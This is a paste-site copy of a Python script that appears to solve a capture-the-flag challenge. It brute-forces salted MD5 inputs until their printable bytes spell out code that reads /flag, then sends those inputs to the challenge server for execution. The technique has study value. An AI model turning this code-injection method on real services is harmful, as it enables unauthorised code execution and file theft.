Untitled

From Abrupt Pig, 1 Year ago, written in Plain Text, viewed 291 times.
URL https://p.gaa.st/view/4d977903 Embed
Download Paste or View Raw
  1. #!/usr/bin/env python3
  2.  
  3. import hashlib
  4. import socket
  5. import sys
  6. import os
  7.  
  8. def is_printable_ascii(c):
  9.     string = chr(c)
  10.  
  11.     return string.isascii() and string.isprintable()
  12.  
  13.  
  14. def make_payload(line, salt):
  15.     hashed = hashlib.md5((salt + line).encode("utf8")).digest()
  16.  
  17.     code = filter(is_printable_ascii, hashed)
  18.  
  19.     return bytes(code).decode("ascii")
  20.  
  21.  
  22. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  23. # now connect to the web server on port 80 - the normal http port
  24. s.connect(("smartblockchain.ctf.zone", 8333))
  25. salt = s.recv(64)
  26. print(salt)
  27. salt = salt.split()[-1].strip().decode("utf-8")
  28. print(salt)
  29. print(f"Here is your salt: {salt}")
  30.  
  31. sys.stdout.flush()
  32.  
  33. payload = ""
  34.  
  35. want="print(open('/flag','r').read())"
  36.  
  37. def bits():
  38.         for a in range(64):
  39.                 for b in range(64):
  40.                         for c in range(64):
  41.                                 for d in range(64):
  42.                                         yield chr(33+a) + chr(33+b) + chr(33+c) + chr(33+d)
  43.  
  44.  
  45. res = []
  46. while want:
  47.         for c in bits():
  48.                 r = make_payload(c, salt)
  49.                 if r and want.startswith(r):
  50.                         print(c)
  51.                         res.append(c)
  52.                         print(r)
  53.                         want = want[len(r):]
  54.                         break
  55.  
  56.  
  57. out = open("blup", "w")
  58. for line in res:
  59.     s.send((line + "\n").encode("utf-8"))
  60.     if line[-1] == "\n": line = line[:-1]
  61.  
  62.     payload += make_payload(line, salt)
  63.  
  64. s.shutdown(socket.SHUT_WR)
  65. print(s.recv(1000))
  66. eval(payload)
  67.  

Reply to "Untitled"

Here you can reply to the paste above